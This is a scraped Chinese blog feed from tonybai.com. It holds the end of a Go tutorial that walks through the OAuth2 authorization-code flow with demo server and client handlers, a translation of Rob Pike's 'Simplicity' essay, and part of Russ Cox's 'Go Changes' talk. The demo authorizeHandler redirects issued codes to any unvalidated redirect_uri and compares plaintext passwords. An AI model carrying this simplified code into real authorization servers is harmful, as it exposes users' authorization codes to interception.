fmt.Println(\u0026quot;portalHandler:\u0026quot;, *r) // 获取请求参数用于渲染应答html页面 clientID := r.FormValue(\u0026quot;client_id\u0026quot;) scopeTxt := r.FormValue(\u0026quot;scope\u0026quot;) state := r.FormValue(\u0026quot;state\u0026quot;) redirectURI := r.FormValue(\u0026quot;redirect_uri\u0026quot;) // 渲染授权页面模板 tmpl := template.Must(template.ParseFiles(\u0026quot;portal.html\u0026quot;)) data := map[string]interface{}{ \u0026quot;AppName\u0026quot;: clientID, \u0026quot;Scopes\u0026quot;: strings.Split(scopeTxt, \u0026quot;,\u0026quot;), \u0026quot;ScopeTxt\u0026quot;: scopeTxt, \u0026quot;State\u0026quot;: state, \u0026quot;RedirectURI\u0026quot;: redirectURI, } tmpl.Execute(w, data) } 和照片冲印服务首页一样，这里同样使用了模板渲染的应答页面，对应的portal.html模板的内容如下：\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;云盘授权页面\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h3\u0026gt;云盘授权页面\u0026lt;/h3\u0026gt; \u0026lt;p\u0026gt; 应用{{.AppName}}正在请求获取以下权限: \u0026lt;ul\u0026gt; {{range .Scopes}} \u0026lt;li\u0026gt;{{.}}\u0026lt;/li\u0026gt; {{end}} \u0026lt;/ul\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;form id=\u0026quot;authorization-form\u0026quot; method=\u0026quot;post\u0026quot; action=\u0026quot;/oauth/authorize\u0026quot;\u0026gt; \u0026lt;div\u0026gt; 用户名: \u0026lt;input name=\u0026quot;username\u0026quot; id=\u0026quot;username\u0026quot; /\u0026gt; 密码: \u0026lt;input name=\u0026quot;password\u0026quot; id=\u0026quot;password\u0026quot; type=\u0026quot;password\u0026quot; /\u0026gt; \u0026lt;input type=\u0026quot;hidden\u0026quot; name=\u0026quot;response_type\u0026quot; value=\u0026quot;code\u0026quot; /\u0026gt; \u0026lt;input type=\u0026quot;hidden\u0026quot; name=\u0026quot;client_id\u0026quot; value=\u0026quot;{{.AppName}}\u0026quot; /\u0026gt; \u0026lt;input type=\u0026quot;hidden\u0026quot; name=\u0026quot;scope\u0026quot; value=\u0026quot;{{.ScopeTxt}}\u0026quot; /\u0026gt; \u0026lt;input type=\u0026quot;hidden\u0026quot; name=\u0026quot;state\u0026quot; value=\u0026quot;{{.State}}\u0026quot; /\u0026gt; \u0026lt;input type=\u0026quot;hidden\u0026quot; name=\u0026quot;redirect_uri\u0026quot; value=\u0026quot;{{.RedirectURI}}\u0026quot; /\u0026gt; \u0026lt;button type=\u0026quot;submit\u0026quot;\u0026gt;授权\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 该页面将照片冲印服务要获得的权限以列表形式展示给用户，然后提供了一个表单，用户填写用户名和密码后，点击“授权”，浏览器便会向开放平台授权服务的”/oauth/authorize”发起post请求以获取code，post请求携带了一些form参数，像response_type、client_id、scope、state等。\n“/oauth/authorize”端点由authorizeHandler负责处理：\n// oauth2-examples/open-my-yunpan/main.go func authorizeHandler(w http.ResponseWriter, r *http.Request) { fmt.Println(\u0026quot;authorizeHandler:\u0026quot;, *r) responsTyp := r.FormValue(\u0026quot;response_type\u0026quot;) if responsTyp != \u0026quot;code\u0026quot; { w.WriteHeader(http.StatusBadRequest) return } user := r.FormValue(\u0026quot;username\u0026quot;) password := r.FormValue(\u0026quot;password\u0026quot;) mu.Lock() v, ok := validUsers[user] if !ok { fmt.Println(\u0026quot;not found the user:\u0026quot;, user) mu.Unlock() w.WriteHeader(http.StatusNonAuthoritativeInfo) return } mu.Unlock() if v != password { fmt.Println(\u0026quot;invalid password\u0026quot;) w.WriteHeader(http.StatusNonAuthoritativeInfo) return } clientID := r.FormValue(\u0026quot;client_id\u0026quot;) scopeTxt := r.FormValue(\u0026quot;scope\u0026quot;) state := r.FormValue(\u0026quot;state\u0026quot;) redirectURI := r.FormValue(\u0026quot;redirect_uri\u0026quot;) code := randString(8) mu.Lock() codeCache[code] = authorizeContext{ clientID: clientID, scopeTxt: scopeTxt, state: state, redirectURI: redirectURI, } mu.Unlock() unescapeURI, _ := url.QueryUnescape(redirectURI) redirectURI = fmt.Sprintf(\u0026quot;%s?code=%s\u0026amp;state=%s\u0026quot;, unescapeURI, code, state) w.Header().Add(\u0026quot;Location\u0026quot;, redirectURI) w.WriteHeader(http.StatusFound) } authorizeHandler会对用户进行身份认证，通过后，它会分配code并向浏览器返回重定向的应答，重定向的地址就是照片冲印服务的回调地址：http://my-photo-print.com:8080/cb?code=xxx\u0026amp;state=yyy。\n3.3 换取access token并读取用户照片列表 这个重定向相当于用户浏览器向http://my-photo-print.com:8080/cb?code=xxx\u0026amp;state=yyy发起请求，为照片冲印服务提供code，该请求由my-photo-print的oauthCallbackHandler处理：\n// oauth2-examples/my-photo-print/main.go // callback handler，用户拿到code后调用该handler func oauthCallbackHandler(w http.ResponseWriter, r *http.Request) { fmt.Println(\u0026quot;oauthCallbackHandler:\u0026quot;, *r) code := r.FormValue(\u0026quot;code\u0026quot;) state := r.FormValue(\u0026quot;state\u0026quot;) mu.Lock() _, ok := stateCache[state] if !ok { mu.Unlock() fmt.Println(\u0026quot;not found state:\u0026quot;, state) w.WriteHeader(http.StatusBadRequest) return } delete(stateCache, state) mu.Unlock() // fetch access_token with code accessToken, err := fetchAccessToken(code) if err != nil { fmt.Println(\u0026quot;fetch access_token error:\u0026quot;, err) return } fmt.Println(\u0026quot;fetch access_token ok:\u0026quot;, accessToken) // use access_token to get user's photo list user, pl, err := getPhotoList(accessToken) if err != nil { fmt.Println(\u0026quot;get photo list error:\u0026quot;, err) return } fmt.Println(\u0026quot;get photo list ok:\u0026quot;, pl) mu.Lock() userPhotoList[user] = pl mu.Unlock() w.Header().Add(\u0026quot;Location\u0026quot;, \u0026quot;/photos?user=\u0026quot;+user) w.WriteHeader(http.StatusFound) } 这个handler中做了很多工作，包括使用code换取access token，使用access token读取用户的照片列表并存储在自己的存储中(这里用内存模拟，生产环境应该使用数据库服务实现)，最后返回一个重定向应答。\n用户浏览器收到重定向应答后，会重定向访问照片冲印服务的photos端点: http://my-photo-print.com:8080/photos?user=tonybai，以获取该用户的照片列表。photos端点的处理Handler如下：\n// oauth2-examples/my-photo-print/main.go // 待获取到用户照片数据后，让用户浏览器重定向到该页面 func listPhonesHandler(w http.ResponseWriter, r *http.Request) { fmt.Println(\u0026quot;listPhonesHandler:\u0026quot;, *r) user := r.FormValue(\u0026quot;user\u0026quot;) mu.Lock() pl, ok := userPhotoList[user] if !ok { mu.Unlock() fmt.Println(\u0026quot;not found user:\u0026quot;, user) w.WriteHeader(http.StatusNotFound) return } mu.Unlock() // 渲染照片页面模板 tmpl := template.Must(template.ParseFiles(\u0026quot;photolist.html\u0026quot;)) data := map[string]interface{}{ \u0026quot;Username\u0026quot;: user, \u0026quot;PhotoList\u0026quot;: pl, } tmpl.Execute(w, data) } 这里使用了photolist.html并结合用户的照片列表数据一起来渲染照片列表页面，并返回给浏览器：\n到这里示例演示就结束了，用户通过授权让照片冲印服务读取到了照片数据。\n这里还有一个服务没有提及，那就是my-yunpan.com云盘服务，它的实现较为简单，所以这里就不赘述了。\n注：生产中，my-yunpan.com云盘服务是要对照片冲印服务的access token进行校验的，这里是演示程序，没有引入数据库或redis来共享access token，因此这里没有校验。\n4. 小结 OAuth是一种广泛使用的开放授权机制。它通过引入授权服务器的概念，实现了用户在不共享自己的用户名密码情况下也能安全地向第三方应用提供特定权限的数据访问授权。\n本文通过云盘开放平台和第三方照片打印服务的应用场景详细说明了OAuth出现的背景和解决的问题，并结合工作流程图和Go示例代码，通俗易懂地介绍了OAuth2授权码模式的整体交互流程和实现机制。希望大家通过对这篇文章的阅读，能加深对OAuth2工作原理和机制的理解。\n文本涉及的源码可以在这里下载。\n注：鉴于本人在前端的小白水平，文中涉及的html代码部分在大模型的帮助下完成。渲染出来的页面比较丑陋，还望大家不要责怪:)。\n注：Go社区提供了很多OAuth包可以帮助大家快速构建OAuth2的授权服务器，比如：https://github.com/go-oauth2/oauth2等。\n5. 参考资料 OAuth2 Specification - https://tools.ietf.org/html/rfc6749 《OAuth2实战》- https://book.douban.com/subject/30487753/ An Illustrated Guide to OAuth and OpenID Connect - https://developer.okta.com/blog/2019/10/21/illustrated-guide-to-oauth-and-oidc 《OAuth2实战课》 OAuth和OpenID Connect的过去、现在和未来 - https://curity.medium.com/the-past-the-present-and-the-future-of-oauth-and-openid-connect-9b3fbf574519 “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) - https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 - https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/12/16/understand-oauth2-by-example/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-oauth2-by-example-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/12/16/understand-oauth2-by-example\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/12/16/understand-oauth2-by-example\"\u003ehttps://tonybai.com/2023/12/16/understand-oauth2-by-example\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在之前的《\u003ca href=\"https://tonybai.com/2023/10/23/understand-go-web-authn-by-example/\"\u003e通过实例理解Go Web身份认证的几种方式\u003c/a\u003e》和《\u003ca href=\"https://tonybai.com/2023/11/04/understand-go-web-authz-by-example/\"\u003e通过实例理解Web应用授权的几种方式\u003c/a\u003e》两篇文章中，我们对Web应用身份认证(AuthN)和授权(AuthZ)的几种方式做了介绍并配以实例增强理解。\u003c/p\u003e\n\u003cp\u003e在现实世界中，还有一大类的认证与授权是在前面的文章中没有作为重点介绍的，那就是\u003ca href=\"https://tools.ietf.org/html/rfc6749\"\u003eOAuth2授权\u003c/a\u003e与基于OAuth2之上的\u003ca href=\"https://openid.net/specs/openid-connect-core-1_0.html\"\u003eOpenID身份认证(OIDC, OpenID Connect)\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e近期接触到开放平台(Open Platform)的设计和开发，整个开放平台的授权流程都是基于OAuth2打造的，因此在这篇文章中，我就来先来通过实例详细说说OAuth2，OIDC将放在后面的文章中说明。\u003c/p\u003e","title":"通过实例理解OAuth2授权"},{"content":"\n本文永久链接 – https://tonybai.com/2023/12/11/simplicity\n已经退居二线的Go语言之父Rob Pike近日发表了一篇名为“Simplicity”的博文，记述了2009年在Google内部一次圆桌会议上发表的演讲内容。Pike老先生在这个时间点发表这篇文章究竟有何深意呢？是对Go语言演进的路线有所不满吗？我们不得而知。不过，这篇文章的内容却是非常值得我们学习，这里我简单翻译一下，供大家参考。\n2009年5月，Google举办了一次内部的“设计巫术（Design Wizardry）”小组讨论会，我有幸与Jeff Dean、Mike Burrows、Paul Haahr、Alfred Spector和Bill Coughran一起发表了演讲。以下是我演讲内容的文字稿(略作了修改)。尽管一些细节可能已经过时，但演讲的主题依然具有重要意义，而且如今它可能比以往任何时候都更为重要。\n简单胜于复杂。\n简单的东西更容易理解、搭建、调试和维护，而且最重要的是更易于理解，因为这会带来其他一切好处。让我们来看看google.com的网页，它只有一个搜索框，你输入查询并获取结果，这个简洁的设计是Google成功的一个关键原因。早期的搜索引擎界面要复杂得多，而现在的搜索引擎产品，要么是模仿我们的设计，要么用户体验很差。\n那么，Google搜索引擎（GWS）又是如何运作的呢？我瞥了一眼GWS实例的运行参数列表，里面有成千上万的配置标志和数百个参数，还有一些后端机器的名称、后端配置以及一些特性的启用和禁用。其中大多数参数可能是正确的，但我相信也有一些已经过时或错误的。\n所以问题是：一个能设计出google.com这样简洁网页的公司，怎么可能同时设计出复杂庞大的GWS搜索引擎呢？答案是，GWS并非从一开始就被“设计”出来，而是通过有机增长逐渐形成的。有机增长的路径非常复杂，每个部分、每次修改看起来都很简单，但综合起来就变得难以维护。\n复杂性是乘法效应的。在像Google这样由多个组件组装而成的系统中，如果你让一个组件变得复杂，那么其中的一部分复杂性就会反映到其他组件中。这就是失控的复杂性。\n复杂性也是普遍存在的。\n很多年前，Tom Cargill从贝尔实验室的研究部门休了一年的假，加入了开发部门。他加入的团队每个子系统的代码都被打印出来，装订成册放在员工办公室的书架上。Tom发现其中一个子系统基本上是完全冗余的，大部分功能在其他地方已经重新实现过。于是他花了几个月的时间删除了那个子系统，删掉了1.5万行代码，并从所有人的书架上移走了一整本厚厚的代码目录。这样简化了整个系统，减少了代码量、测试工作量和维护工作量。他的同事们都很高兴。\n然而，在评估时出现了问题。Tom得知管理层有一个衡量生产力的指标是代码行数。由于Tom在那一年删掉了那么多代码，他的生产力指标直接变成了负数。更糟糕的是，他的团队的整体生产力也变成了负数。他只能沮丧地回到研究部门。\n这个故事给他上了一课：复杂性无处不在。简单性没有获得奖励。\n你可以对这个故事嗤之以鼻，但我们与此并不相去甚远。谁会因为删除Google的代码而得到晋升呢？我们沉浸在自己拥有的庞大复杂代码中，新员工需要花费大量的精力去理解，我们也投入了大量的资源来培训和指导他们适应。我们为能够理解和修改这些代码而感到自豪。\nGoogle是一个民主的组织，代码对每个人都是透明的，可以查看、修改、完善和增加功能。但是每增加一点东西，复杂性就会增加。引入一个新的库，复杂性就增加了；再加上一个存储封装，复杂性又增加了；在子系统中添加新选项，配置变得更加复杂。如果对核心基础模块（如网络库）进行这样的修改，整个系统的复杂性都会大大增加。\n复杂性就这样逐步累积，其代价以几何级数增长。\n另一方面，简单需要付出努力——但大部分工作都在前期。设计简单的系统是非常困难的，但一旦设计完成并实施，后续的维护和操作就会更加容易。选择避免复杂性可以使简化系统的好处成倍增加。\n举个例子，来看看我们的查询日志系统。虽然它在完美程度上还有待提高，但在设计初期就被定位为——至今仍然是——Google内部唯一解决特定核心问题的系统。正是由于这个原因，它确保了系统的稳定性、安全性、一致性以及大规模的经济效益。如果每个团队都自行构建日志基础架构，Google绝对不会达到现在的规模。\n然而，这种思路并没有被广泛应用，各个团队仍然频繁地提出建立新的数据存储系统、工作流系统、代码库、基础架构等等。\n这种重复建设和快速增长的复杂性正在拖累我们，因为复杂系统的运作效率较低。\nGoogle有几条重要的工程原则：代码要可读，要可测试，别惹恼SRE（译注：Site Reliability Engineering，网站可靠性工程），要追求速度。\n然而，简单性从未被纳入考虑。但实际上，它比上述任何一条都更为重要。更简单的设计意味着更易于阅读，代码更易于测试，对SRE更易于解释和修复问题。\n此外，简单的系统运行速度更快。\n注意，我强调的是系统设计，而不是代码。有时为了提升性能，确实需要增加代码的复杂性，这可能是无法避免的。然而，复杂的系统从来都不会变得更快，因为调试和交互变得复杂，难以理解。复杂性只会导致低效。\n简单性甚至比性能更为重要。复杂性对系统的影响是成倍增加的——增加2%的复杂度只能换来2%的性能提升（或者1%、0.1%等），这完全得不偿失。\n等一下，服务器利用率为什么那么低？难道不是因为系统太慢吗？\n不是的，利用率低是因为系统过于复杂。我们无法理解系统的性能表现，无论是在单机还是集群环境下。组件之间的交互难以清晰描述。\n应用开发人员无法完全理解底层基础架构。\n基础架构工程师也无法准确了解网络状况。\n很难弄清楚应用程序需要哪些资源，问题层出不穷。\n为了弥补这些问题，每个人都在配置中添加各种参数和补丁代码，使得一切变得更加难以调试。\n为了确保产品正常运行，我们只能围绕产品建立防护墙，以避免受到外部环境的影响——然而，这只是增加了更多的复杂性。\n这是一个死循环。\n所以请仔细考虑你正在进行的工作，是否可以将其设计得更简单一些？那个功能真的是必需的吗？通过删除、合并或共享资源，是否可以使整个系统变得更简单？请考虑与其他相关团队进行讨论，设计一个更简单、更统一的架构，避免相互之间的制约。\n多研究已有系统的适应性，在此基础上进行改进，而不是从头开始构建。如果发现现有系统无法满足需求，也许问题出在你对需求的定义，而不是系统本身。\n如果确实需要开发新的组件，请确保它可以被推广和重用，不仅仅为本地团队提供服务。\n构建复杂系统很容易。为了赶进度，编码比重新设计更简单、更快。但是技术债务会不断积累，长期来看必然会失败。\n我们的代码库比一年前增加了50%。再过一年呢？五年后呢？\n如果不能控制复杂性，总有一天不仅仅是利用率低的简单警告。系统会变得过于复杂、运行缓慢，最终导致彻底崩溃。那将是一场“全面崩溃”的灾难。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/12/11/simplicity/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/simplicity-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/12/11/simplicity\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/12/11/simplicity\"\u003ehttps://tonybai.com/2023/12/11/simplicity\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e已经退居二线的Go语言之父Rob Pike近日发表了一篇名为\u003ca href=\"https://commandcenter.blogspot.com/2023/12/simplicity.html\"\u003e“Simplicity”\u003c/a\u003e的博文，记述了2009年在Google内部一次圆桌会议上发表的演讲内容。Pike老先生在这个时间点发表这篇文章究竟有何深意呢？是对\u003ca href=\"https://tonybai.com/2023/12/10/go-changes/\"\u003eGo语言演进的路线\u003c/a\u003e有所不满吗？我们不得而知。不过，这篇文章的内容却是非常值得我们学习，这里我简单翻译一下，供大家参考。\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e2009年5月，Google举办了一次内部的“设计巫术（Design Wizardry）”小组讨论会，我有幸与Jeff Dean、Mike Burrows、Paul Haahr、Alfred Spector和Bill Coughran一起发表了演讲。以下是我演讲内容的文字稿(略作了修改)。尽管一些细节可能已经过时，但演讲的主题依然具有重要意义，而且\u003cstrong\u003e如今它可能比以往任何时候都更为重要\u003c/strong\u003e。\u003c/p\u003e","title":"简单之道"},{"content":"\n本文永久链接 – https://tonybai.com/2023/12/10/go-changes\n自从Go语言之父Rob Pike从Google退休并隐居澳洲后，Russ Cox便成为了Go语言团队的“带头大哥”，虽然其资历还无法与依旧奋战在一线的另外一位Go语言之父Robert Griesemer相比。如今，Russ Cox对Go语言未来的演化发展是很有“发言权”的，Go module的引入便是Russ Cox的重要决策之一。从Go社区来看，这些年来，以Russ Cox为首的Go团队对Go演进决策总体上是良性的、受欢迎的，比如Go module、Go泛型、Go对wasm的支持等，当然也有一些变化是受到质疑的，比如：Go 1.22版本很可能从试验特性到正式特性的loopvar等。\n注：我的极客时间《Go语言第一课》专栏中有对Go module和Go泛型的详细讲解，欢迎感兴趣的童鞋订阅阅读。\n想必很多Gopher也和我一样，对Go团队就某一proposal的决策方式和依据很好奇 –到底他们是如何决定是否accept这个proposal的？Go语言后续该如何演化？向哪个方向发展演化？\n今年9月份举办的GopherCon 2023上，Russ Cox代表Go团队做了名为“Go Changes”的主题演讲：\n在这个talk中，我们能找到一些答案。近期他重新录制了该演讲视频，并在其个人博客中放出。\n本文就是基于这个视频内容进行整理加工后的文字稿，供国内广大gopher参考。\n这是我在2023年GopherCon上做的一次演讲的重新录制视频。在这次演讲中，我和大家分享了三部分内容：为什么Go需要随着时间的推移而改变，我们如何应对Go的变化过程，以及为什么选择性遥测(opt-in telemetry)是这个过程中的一个重要且适当的部分。不过，这个演讲不是关于某个特定的Go特性变化，而是关于Go整体的变化过程，特别是我们是如何决定做出哪些改变的。\n首先一个明显的问题是，为什么Go需要改变? 为什么我们不能对Go感到满意，然后将其束之高阁呢? 一个显而易见的答案是我们不可能一次就把事情做对，你对比一下上面图片中展示的第一版毛绒Go吉祥物和我们在GopherCon上发放的最终版本，你就能明白我的意思了。\n但这里还有一个更深层次的答案：\n我的一位前同事在他使用了多年的邮件签名中引用了生物学家兼科幻小说作家杰克·科恩(Jack Cohen)的一句名言。在这句名言中，科恩说：“我们生物学家使用的一个描述‘稳定(stable)’的专业词汇就是“死(dead)”。\n所有的生命都在变化，适应新的环境，修复损伤等。编程环境也需要改变。除非我们想要Go死掉，否则它需要适应新的环境，比如新的协议、操作系统和重要用例。我们也需要发现并修复bug — 语言、库和生态系统的问题，这些问题只有随着时间的推移或Go发展到一定阶段和规模才会暴露出来。\nGo必须改变，并与时俱进。这次演讲就是关于我们如何决定做出哪些改变。\n这次演讲分三个部分:\n第一部分是关于我们对Go的愿景和期望。 第二部分是关于我们如何利用数据来决定做出哪些改变。 第三部分是关于我们在Go工具链中增加选择性遥测的计划，以便更好地理解Go的使用情况和出现问题的地方。 到演讲结束时，你将了解我们考量和决定Go变化的过程，并了解数据在做出这些决定中的重要性，我希望你能理解为什么选择性遥测是一个很好的额外数据来源，甚至可能愿意在系统推出时就选择加入。\n让我们从这个开始：我们希望Go发生什么样的变化？如果我们在这个基本问题上意见不一致，我们也就无法就具体的变化达成共识。\n例如，我们是否应该在Go中添加一个Perl语句，让我们可以用Perl编写函数?\n我认为我们不应该，但假设你有不同意见。为了解决这个问题，我们需要理解为什么我们持不同意见。\n约翰·奥斯特豪特(John Ousterhout)写了一份名为“开放决策制定(Open Decision Making)”的好文档，内容虽然来自他在创业公司的经验，但它几乎完全适用于开源项目。\n在这份文档中，他提出的最重要的观点之一是：如果一群聪明人面对同一个问题，并具有相同的信息，如果他们有相同的目标，那么他们很可能得出相同的结论。\n如果你和我在Go中是否要嵌入Perl这个问题上存在分歧，根本原因肯定是我们对Go目标有不同的理解，所以我们必须建立明确Go的目标。\nGo的目标是更好的软件工程，特别是大规模软件工程。Go的独特设计决策几乎全部针对这个目标。我们已经多次阐述过这一点，包括在上述截图中的这两篇文章中。再说一次，Go的目标是更好的软件工程。\n现在我们来说说Perl。20年前，当我很年轻、甚至有些天真、Go还不存在的时候，我编写并部署了一个完全用Perl编写的大型分布式系统。我热爱Perl所擅长的东西，但它并不是以更好的软件工程为目标。如果我们在这一点上有分歧，那么我可能应该定义一下我所说的软件工程是什么意思。\n注：如果要理解Go以更好软件工程为目标，或是Google的软件工程理念，可以阅读一下《Software Engineering at Google》这本佳作。\n我喜欢说，当你给编程加入时间和其他程序员时，软件工程就出现了。编程意味着让一个程序工作。你有一个要解决的问题，你编写一些代码，运行它，调试它，得到答案，完成。这就是编程，这已经够难的了。\n但是当那段代码不得不日复一日地继续工作时会发生什么，甚至和其他人一起对它进行维护？那么你需要添加测试，以确保你修正后的bug不会在6个月后由你自己或是一个不熟悉这段代码的新团队成员重新引入。这就是为什么Go从第一天开始就内置了对测试的支持，并建立了一种文化，那就是对任何bug的修复或新增代码都要添加测试。\n那么随着时间的流逝，当代码必须在Go本身发生改变的情况下继续工作时会发生什么？那么我们需要强调兼容性，这是Go1版本以来一直在做的。事实上，Go 1.21版本发布了许多兼容性改进，我在2022年的GopherCon上对此有过介绍。\n随着代码量的增长，如果需要某种全局清理时该怎么办？你需要工具，而不可避免的第一个绊脚石是那些工具需要模仿代码的格式化风格来编辑，以避免出现无关的差异。gofmt的存在是为了支持goimports、gorename、go fix和gopls等工具，以及你自己可能使用我们提供的包编写的自定义工具。\n既然提到了软件包，当你使用其他人提供的软件包时，不可避免的第一个绊脚石是多个人会用相同的名字(比如sqlite或yaml)编写软件包。那么我们如何在一个给定的程序中识别究竟使用哪个了呢？为了在一个去中心化的方式无歧义地回答这个问题，Go使用URL作为包导入路径。\n随着时间的推移，下一个问题是挑选使用特定软件包的哪个版本，并决定该版本是否与所有其他依赖项兼容。这就是为什么Go提供了modules、workspaces、Go modules mirror镜像和Go module校验和数据库。\n接下来的问题是每个人的代码都有bug，包括安全bug。你需要了解关于最重要bug的信息，这样你就知道需要更新到已修复的版本。这就是为什么我们添加了Go漏洞数据库和govulncheck，Julie也在GopherCon上谈到了这一点，当有视频链接时我会在下面添加。\n以上是较大的例子，但也有小的例子，比如添加新的协议如HTTP/3，移除对过时平台的支持，以及修复或废弃容易出错的API，以避免大型代码库中的常见错误。\n这把我们带到了Go提案过程(Proposal Process)，这是我们对是否接受(accept)和拒绝(decline)哪些变更做出决定的方式：\n当我们考虑这些决定时，使用数据非常重要，这可以帮助我们达成共识。\n简单地说，任何人都可以在Go的GitHub问题跟踪器上提出Go更改提案(Change Proposal)。然后，在该问题上进行讨论，我们试图在参与者之间就是否接受或拒绝该建议达成共识，或者该建议需要做出什么修改才能被接受。\n随着时间的推移，我们越来越欣赏约翰·奥斯特豪特在他的观察中提出的第二句话的重要性：如果面对问题的人不仅共同的目标，还有共同的信息，他们很可能会达成共识。\n在Go的早期，只有我们几个人做决定。我们根据技术判断和直觉做出决定，这些判断和直觉是基于我们过去的经验。那些经验就是我们使用的信息。由于我们的过去经验有足够的重叠，我们大多数时候能达成共识。大多数小项目都是这种工作方式。\n随着决策涉及的人数大大增加，共享经验就会减少。我们需要一个新的共享信息来源。我们发现的最好信息来源是收集实际数据，然后将这些数据作为共享信息来做决策。但是我们从哪里获得这些数据呢？对Go来说，我们有许多潜在的来源，每一个都适合具体的决策类型。在这里，我将向你展示其中的一些。\n一个数据来源是与Go用户交谈。我们以各种方式做到这一点：\n首先是Go用户调查，我们从2016年开始每年做一次，最近开始一年做两次。调查非常适合了解Go最流行的用途以及人们面临的最常见问题。多年来，最常见的问题是缺乏依赖管理和泛型。我们使用这些信息将开发Go模块和泛型作为优先事项。\n另一个数据来源是我们可以在VSCode中使用VSCode Go插件运行的调查。这些调查可以帮助我们了解VSCode Go体验的实效性。\n来自用户的最后一个直接数据来源是我们全年进行的研究访谈和用户体验研究。这些研究允许我们从小规模的用户群体中识别模式或获取更多关于特定主题的信息。\n调查和访谈通过与用户交谈来收集数据。另一个数据来源是阅读代码：我们可以分析已发布的开源Go module代码。\n例如，在添加新的“go vet”检查之前，我们会在开源代码库的一个子集上运行它，然后读取一些随机样本的结果，看检查是否指出了真实的问题，以及它是否有太多的假阳性。\n在Go 1.22版本，我们计划添加一个go vet检查，检查对append的调用是否没有append任何内容。这里有检查器标记的两段代码：\n顶部的一段代码表明开发人员可能认为append总是复制其输入slice。底部的一段代码可能是正确的，但难于措辞来描述。\n这里还有另外两段代码：\n在顶部的一段中，或者for循环从未运行，或者它永远不会完成，因为e.Sigs的长度永远不会改变。底部的代码也似乎是一个清晰的bug：代码正在仔细决定将消息追加到哪个列表中，然后它没有将其追加到任何一个列表中。\n由于我们对样本代码段进行的所有采样都是可疑的或完全错误的，我们决定添加该检查。在这里，数据比直觉更好。\n所有这些方法都是在少量样本上工作。对于典型的代码分析，我喜欢手动检查100个样本，与世界上所有Go代码的量相比，这只是一个微小的比例。最后一份Go开发者调查有不到6000名受访者，而全世界可能有300万Go开发者，样本比例不到1%。\n一个很好的问题是为什么这些极小的样本能告诉我们有关更大人群的信息？答案是抽样精度只依赖于样本数量，而不依赖于总体规模。\n这乍一看似乎反直觉，但假设我有一个装有100万只Go吉祥物的大箱子，我随机拿出两个。首先我拿到一个蓝色的，然后我拿到一个粉红色的。根据这两个样本，我估计箱子中的吉祥物大约一半是蓝色的，一半是粉红色的。但如果我告诉你箱子里有粉红色、蓝色和灰色的吉祥物，你是否会感到十分惊讶? 